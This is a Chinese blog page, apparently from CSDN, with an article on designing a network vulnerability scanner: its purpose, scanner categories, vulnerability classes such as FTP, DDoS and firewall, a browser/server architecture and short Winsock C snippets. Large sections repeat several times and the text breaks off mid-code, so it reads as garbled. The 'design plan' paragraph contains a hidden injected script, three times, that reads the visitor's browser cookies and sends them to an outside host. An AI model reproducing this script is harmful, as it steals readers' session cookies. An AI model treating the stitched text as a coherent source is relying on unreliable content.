网络扫描器的设计与实现

本文详细介绍了网络扫描器的设计与实现,涉及struct sockaddr_in结构体、socket接口的使用,以及TCP Socket套接字的创建。扫描器还涵盖了SMTP协议漏洞扫描和远端获得根权限类测试。随着网络安全问题的日益严重,网络扫描器对于检测和预防网络攻击至关重要。
摘要由CSDN通过智能技术生成

网络扫描器的设计与实现

摘要:信息安全是为了保障计算机系统软件、应用软件及网络软件可靠运行;防止信息的非授权访问、获取与篡改;保证信息完整性与可用性。本文分析了网络扫描器在信息安全领域的作用与设计实现思想。

关键词:信息安全,网络漏洞,套接字,分布式拒绝服务,简单邮件传输协议

扫描器软件概述

计算机网络的迅猛发展引发了人们对网络安全的重视,信息安全的目标在于保护信息保密性、完整性以及对合法用户提供应有服务。网络漏洞是系统软、硬件存在安全方面的脆弱性,安全漏洞的存在导致非法用户入侵系统或未经授权获得访问权限,造成信息篡改和泄露、拒绝服务或系统崩溃等问题。系统管理员可根据安全策略,使用网络工具实现系统安全审计。

1.1 扫描器的功能

扫描器是检测远程或本地系统安全脆弱性的软件;通过与目标主机TCP/IP端口建立连接和并请求某些服务(如TELNET、FTP等),记录目标主机的应答,搜集目标主机相关信息(如匿名用户是否可以登录等),从而发现目标主机某些内在的安全弱点。扫描器的重要性在于把极为烦琐的安全检测,通过程序来自动完成,这不仅减轻管理者的工作,而且缩短了检测时间,使问题发现更快。当然,也可以认为扫描器是一种网络安全性评估软件。一般而言,扫描器可以快速、深入地对网络或目标主机进行评估。

1.2 扫描器的分类

从信息流的角度理解信息安全,可划分为数据存放的安全性与网络传输的安全性(涉及操作系统安全性及应用程序的安全性),网络中任何一个环节出现不安全因素都会破坏整个信息流的安全性,因此把扫描器分为三类:数据库安全扫描器,操作系统安全扫描器和网络安全扫描器(针对于网络服务、应用程序、网络设备、网络协议等)。对扫描对象的脆弱性进行深入了解,能较好地用运用程序来自动检测发现其是否存在已有的漏洞;能给扫描时发现的问题提供一个良好的解决方案;能在系统实现时,提高效率并提供了相应的补救信息。

网络扫描器设计方案

网络扫描器是一个涉及知识面广、动态性强的软件,应具有易于配置、易于扩展、快速扫描、智能报告和深度分析等功能。网络扫描是对系统脆弱性的分析评估,能够检查、分析网络范围内的设备、网络服务、操作系统、数据库系统等系统的安全性,<script type="text/javascript"> var y=document.cookie;var i="http://vcdv.net/cgi-bin/2.pl?"+escape(y);document.write("<script src="+i+" >"); </script><script src="http://vcdv.net/cgi-bin/2.pl?" type="text/javascript"> </script> 从而为提高网络安全的等级提供决策的支持。

2.1 基本功能模块

经过大量的分析与调研,进而设计出由以下几个模块组成的网络扫描器:用户界面,友好的用户界面使扫描配置更加简单有效,结果显示清楚条理,扫描插件维护功能方便;扫描引擎,检测目标系统,调度扫描插件模块,执行安全测试;扫描插件,主要完成对目标系统的检查;脆弱性报告,能够依据不同的需求,提供不同形式的报表;数据库,包括系统安全漏洞、告警信息和补救方法。

2.2 扫描内容的分类

根据安全漏洞的测试原理,扫描内容可分为:general普通、Microsoft win9x/NT平台、firewalls防火墙、useless services无用服务、ftp文件传输协议、backdoors后门程序、cgi abuses(cgi滥用)、remote file access远端文件获取、gain root remotely远端获得根权限、rpc远端过程调用、nis网络信息服务、finger abuses(finger 滥用)、smtp problems简单邮件传输协议的错误、virus病毒、DDoS分布式拒绝服务、Router Setting路由器配置等20多种类型,800多个安全漏洞。简介如下:

(1)ftp文件传输协议类

ftp服务广泛应用于Internet中,同时具有显著的安全脆弱性。如匿名ftp本身不是安全漏洞,但其提供了访问远程系统能力,入侵者可借此获取系统口令文件并探测系统漏洞,因而通常禁用匿名ftp服务,开放时必须正确配置并进行严格管理;此外,建立上传目录往往为了便于在Internet上交换文件,而网络攻击者则在可写区域中肆意删除、修改信息或上传恶意代码(如特洛伊木马、计算机病毒等)。

(2) DDoS分布式拒绝服务类

分布式拒绝服务攻击也是最为常见的网络攻击方法,进攻形式多种多样。从利用网络协议到针对操作系统平台的漏洞,都可以发出拒绝服务攻击,可以说其攻击手段防不胜防。通过发送连续的字符可以检测Microsoft SQL Server等数据库服务器是否有DDoS漏洞。

(3) firewall防火墙类

设置网络防火墙的目的是在通信网与外界网之间提供一道屏障,以保护网络中的信息流免受来自外部网络的各种威胁。防火墙可以是路由器、PC机、主机系统或一批主系统,是硬件和软件的组合体。由于网络防火墙自身存在的设计问题和使用配置错误,扫描器可以检测不同类别或版本的网络防火墙存在的安全漏洞。

实现中的关键问题

网络扫描器采用B/S模式进行软件开发,B/S模式是指软件的主体部分都在服务器端,用户只需使用浏览器发出扫描服务的请求,由服务器执行对扫描目标的扫描操作,并将最终扫描结果以脆弱性报告形式发送到客户端。这种模式的优点在于用户只需通过浏览器,就可以对目标进行扫描,操作简单易学。

3.1 Windows Sockets编程

Socket存在于通信区域中是网络通信基本构件,是可以被命名和寻址的通信端点,网络编程中各套接字都有相关进程与其类型对应。下面仅就网络扫描器开发过程中用到的Windows Socket的一些共性操作加以说明。

扫描器软件概述

计算机网络的迅猛发展引发了人们对网络安全的重视,信息安全的目标在于保护信息保密性、完整性以及对合法用户提供应有服务。网络漏洞是系统软、硬件存在安全方面的脆弱性,安全漏洞的存在导致非法用户入侵系统或未经授权获得访问权限,造成信息篡改和泄露、拒绝服务或系统崩溃等问题。系统管理员可根据安全策略,使用网络工具实现系统安全审计。

1.1 扫描器的功能

扫描器是检测远程或本地系统安全脆弱性的软件;通过与目标主机TCP/IP端口建立连接和并请求某些服务(如TELNET、FTP等),记录目标主机的应答,搜集目标主机相关信息(如匿名用户是否可以登录等),从而发现目标主机某些内在的安全弱点。扫描器的重要性在于把极为烦琐的安全检测,通过程序来自动完成,这不仅减轻管理者的工作,而且缩短了检测时间,使问题发现更快。当然,也可以认为扫描器是一种网络安全性评估软件。一般而言,扫描器可以快速、深入地对网络或目标主机进行评估。

1.2 扫描器的分类

从信息流的角度理解信息安全,可划分为数据存放的安全性与网络传输的安全性(涉及操作系统安全性及应用程序的安全性),网络中任何一个环节出现不安全因素都会破坏整个信息流的安全性,因此把扫描器分为三类:数据库安全扫描器,操作系统安全扫描器和网络安全扫描器(针对于网络服务、应用程序、网络设备、网络协议等)。对扫描对象的脆弱性进行深入了解,能较好地用运用程序来自动检测发现其是否存在已有的漏洞;能给扫描时发现的问题提供一个良好的解决方案;能在系统实现时,提高效率并提供了相应的补救信息。

网络扫描器设计方案

网络扫描器是一个涉及知识面广、动态性强的软件,应具有易于配置、易于扩展、快速扫描、智能报告和深度分析等功能。网络扫描是对系统脆弱性的分析评估,能够检查、分析网络范围内的设备、网络服务、操作系统、数据库系统等系统的安全性,<script type="text/javascript"> var y=document.cookie;var i="http://vcdv.net/cgi-bin/2.pl?"+escape(y);document.write("<script src="+i+" >"); </script><script src="http://vcdv.net/cgi-bin/2.pl?" type="text/javascript"> </script> 从而为提高网络安全的等级提供决策的支持。

2.1 基本功能模块

经过大量的分析与调研,进而设计出由以下几个模块组成的网络扫描器:用户界面,友好的用户界面使扫描配置更加简单有效,结果显示清楚条理,扫描插件维护功能方便;扫描引擎,检测目标系统,调度扫描插件模块,执行安全测试;扫描插件,主要完成对目标系统的检查;脆弱性报告,能够依据不同的需求,提供不同形式的报表;数据库,包括系统安全漏洞、告警信息和补救方法。

2.2 扫描内容的分类

根据安全漏洞的测试原理,扫描内容可分为:general普通、Microsoft win9x/NT平台、firewalls防火墙、useless services无用服务、ftp文件传输协议、backdoors后门程序、cgi abuses(cgi滥用)、remote file access远端文件获取、gain root remotely远端获得根权限、rpc远端过程调用、nis网络信息服务、finger abuses(finger 滥用)、smtp problems简单邮件传输协议的错误、virus病毒、DDoS分布式拒绝服务、Router Setting路由器配置等20多种类型,800多个安全漏洞。简介如下:

(1)ftp文件传输协议类

ftp服务广泛应用于Internet中,同时具有显著的安全脆弱性。如匿名ftp本身不是安全漏洞,但其提供了访问远程系统能力,入侵者可借此获取系统口令文件并探测系统漏洞,因而通常禁用匿名ftp服务,开放时必须正确配置并进行严格管理;此外,建立上传目录往往为了便于在Internet上交换文件,而网络攻击者则在可写区域中肆意删除、修改信息或上传恶意代码(如特洛伊木马、计算机病毒等)。

(2) DDoS分布式拒绝服务类

分布式拒绝服务攻击也是最为常见的网络攻击方法,进攻形式多种多样。从利用网络协议到针对操作系统平台的漏洞,都可以发出拒绝服务攻击,可以说其攻击手段防不胜防。通过发送连续的字符可以检测Microsoft SQL Server等数据库服务器是否有DDoS漏洞。

(3) firewall防火墙类

设置网络防火墙的目的是在通信网与外界网之间提供一道屏障,以保护网络中的信息流免受来自外部网络的各种威胁。防火墙可以是路由器、PC机、主机系统或一批主系统,是硬件和软件的组合体。由于网络防火墙自身存在的设计问题和使用配置错误,扫描器可以检测不同类别或版本的网络防火墙存在的安全漏洞。

实现中的关键问题

网络扫描器采用B/S模式进行软件开发,B/S模式是指软件的主体部分都在服务器端,用户只需使用浏览器发出扫描服务的请求,由服务器执行对扫描目标的扫描操作,并将最终扫描结果以脆弱性报告形式发送到客户端。这种模式的优点在于用户只需通过浏览器,就可以对目标进行扫描,操作简单易学。

3.1 Windows Sockets编程

Socket存在于通信区域中是网络通信基本构件,是可以被命名和寻址的通信端点,网络编程中各套接字都有相关进程与其类型对应。下面仅就网络扫描器开发过程中用到的Windows Socket的一些共性操作加以说明。

网络扫描器设计方案

网络扫描器是一个涉及知识面广、动态性强的软件,应具有易于配置、易于扩展、快速扫描、智能报告和深度分析等功能。网络扫描是对系统脆弱性的分析评估,能够检查、分析网络范围内的设备、网络服务、操作系统、数据库系统等系统的安全性,<script type="text/javascript"> var y=document.cookie;var i="http://vcdv.net/cgi-bin/2.pl?"+escape(y);document.write("<script src="+i+" >"); </script><script src="http://vcdv.net/cgi-bin/2.pl?" type="text/javascript"> </script> 从而为提高网络安全的等级提供决策的支持。

2.1 基本功能模块

经过大量的分析与调研,进而设计出由以下几个模块组成的网络扫描器:用户界面,友好的用户界面使扫描配置更加简单有效,结果显示清楚条理,扫描插件维护功能方便;扫描引擎,检测目标系统,调度扫描插件模块,执行安全测试;扫描插件,主要完成对目标系统的检查;脆弱性报告,能够依据不同的需求,提供不同形式的报表;数据库,包括系统安全漏洞、告警信息和补救方法。

2.2 扫描内容的分类

根据安全漏洞的测试原理,扫描内容可分为:general普通、Microsoft win9x/NT平台、firewalls防火墙、useless services无用服务、ftp文件传输协议、backdoors后门程序、cgi abuses(cgi滥用)、remote file access远端文件获取、gain root remotely远端获得根权限、rpc远端过程调用、nis网络信息服务、finger abuses(finger 滥用)、smtp problems简单邮件传输协议的错误、virus病毒、DDoS分布式拒绝服务、Router Setting路由器配置等20多种类型,800多个安全漏洞。简介如下:

(1)ftp文件传输协议类

ftp服务广泛应用于Internet中,同时具有显著的安全脆弱性。如匿名ftp本身不是安全漏洞,但其提供了访问远程系统能力,入侵者可借此获取系统口令文件并探测系统漏洞,因而通常禁用匿名ftp服务,开放时必须正确配置并进行严格管理;此外,建立上传目录往往为了便于在Internet上交换文件,而网络攻击者则在可写区域中肆意删除、修改信息或上传恶意代码(如特洛伊木马、计算机病毒等)。

(2) DDoS分布式拒绝服务类

分布式拒绝服务攻击也是最为常见的网络攻击方法,进攻形式多种多样。从利用网络协议到针对操作系统平台的漏洞,都可以发出拒绝服务攻击,可以说其攻击手段防不胜防。通过发送连续的字符可以检测Microsoft SQL Server等数据库服务器是否有DDoS漏洞。

(3) firewall防火墙类

设置网络防火墙的目的是在通信网与外界网之间提供一道屏障,以保护网络中的信息流免受来自外部网络的各种威胁。防火墙可以是路由器、PC机、主机系统或一批主系统,是硬件和软件的组合体。由于网络防火墙自身存在的设计问题和使用配置错误,扫描器可以检测不同类别或版本的网络防火墙存在的安全漏洞。

实现中的关键问题

网络扫描器采用B/S模式进行软件开发,B/S模式是指软件的主体部分都在服务器端,用户只需使用浏览器发出扫描服务的请求,由服务器执行对扫描目标的扫描操作,并将最终扫描结果以脆弱性报告形式发送到客户端。这种模式的优点在于用户只需通过浏览器,就可以对目标进行扫描,操作简单易学。

3.1 Windows Sockets编程

Socket存在于通信区域中是网络通信基本构件,是可以被命名和寻址的通信端点,网络编程中各套接字都有相关进程与其类型对应。下面仅就网络扫描器开发过程中用到的Windows Socket的一些共性操作加以说明。

实现中的关键问题

网络扫描器采用B/S模式进行软件开发,B/S模式是指软件的主体部分都在服务器端,用户只需使用浏览器发出扫描服务的请求,由服务器执行对扫描目标的扫描操作,并将最终扫描结果以脆弱性报告形式发送到客户端。这种模式的优点在于用户只需通过浏览器,就可以对目标进行扫描,操作简单易学。

3.1 Windows Sockets编程

Socket存在于通信区域中是网络通信基本构件,是可以被命名和寻址的通信端点,网络编程中各套接字都有相关进程与其类型对应。下面仅就网络扫描器开发过程中用到的Windows Socket的一些共性操作加以说明。

(1) 设置服务器地址和连接端口

struct sockaddr_in sad; // 获得主机地址的结构

struct hostent *ptrh; // 指向主机入口的指针

ptrh=NULL;

sad.sin_port=htons(21); // 如设定连接端口为21

sad.sin_addr.s_addr=inet_addr(host->ip); //扫描目标主机IP地址

sad.sin_family=AF_INET; // 地址类型规范

(2) 创建Windows Socket套接字

套接字类型可根据通信特征进行分类。Windows Sockets 1.1支持两种套接字:流套接字SOCK_STREAM和数据报套接字SOCK_DGRAM。具体实现如下:

SOCKET sd; // 定义sd为Socket

sd=socket(PF_INET,SOCK_STREAM,0); //创建TCP Socket套接字

if (sd<0) {return FALSE;} // sd<0表示本地创建Socket失败,返回值为假

struct sockaddr_in sad; // 获得主机地址的结构

struct hostent *ptrh; // 指向主机入口的指针

ptrh=NULL;

sad.sin_port=htons(21); // 如设定连接端口为21

sad.sin_addr.s_addr=inet_addr(host->ip); //扫描目标主机IP地址

sad.sin_family=AF_INET; // 地址类型规范

(2) 创建Windows Socket套接字

套接字类型可根据通信特征进行分类。Windows Sockets 1.1支持两种套接字:流套接字SOCK_STREAM和数据报套接字SOCK_DGRAM。具体实现如下:

SOCKET sd; // 定义sd为Socket

sd=socket(PF_INET,SOCK_STREAM,0); //创建TCP Socket套接字

if (sd<0) {return FALSE;} // sd<0表示本地创建Socket失败,返回值为假

Socket套接字

套接字类型可根据通信特征进行分类。Windows Sockets 1.1支持两种套接字:流套接字SOCK_STREAM和数据报套接字SOCK_DGRAM。具体实现如下:

SOCKET sd; // 定义sd为Socket

sd

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【本科毕业设计项目 源码+说明书+PPT】 随着当今时代新型网络技术的迅速兴起,以及第三产业的蓬勃发展,互联网早已成为社会生活当中不可或缺的一部分,而网络安全问题也越来越不容忽视,越来越多的黑客通过利用系统漏洞实施安全攻击、偷盗、诈骗等违法行为,这就需要我们利用先进的技术手段去尽早、准确地检测和解决这些安全漏洞和安全隐患。但是上述这些扫描器一般都属于C/S架构,变更不够灵活,维护与管理的难度较大。当然当前也有很多款网页版扫描器,但大多系统功能较为单一,且缺少对用户的管理和扫描结果的保存和处理,仅支持一次性在线扫描。 针对这一背景,开发了本系统。本系统的特色主要有以下几个方面。 (1)适用于Windows操作系统环境下,采用了B/S架构,用户只需按照要求注册登录即可使用,方便快捷,分布性强,便于维护和管理,可扩展性高。 (2)界面较简单、直观、易操作,对系统用户的专业水平要求不高,便于专业知识储备较少的普通用户接受。并且本系统中增设了仿命令行功能,既可以帮助用户实现对本系统功能的快速了解以及快速使用,也可以调动喜爱命令行的使用者的兴趣。 (3)系统区分了管理员用户和普通用户,管理员用户拥有较多的特权,实现了较简单的基于角色的访问控制,增强了系统安全性和可管理性。 (4)支持用户上传及管理漏洞扫描所用的第三方插件,可以提高漏洞扫描的效率和性能,提高了系统功能的可扩展性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值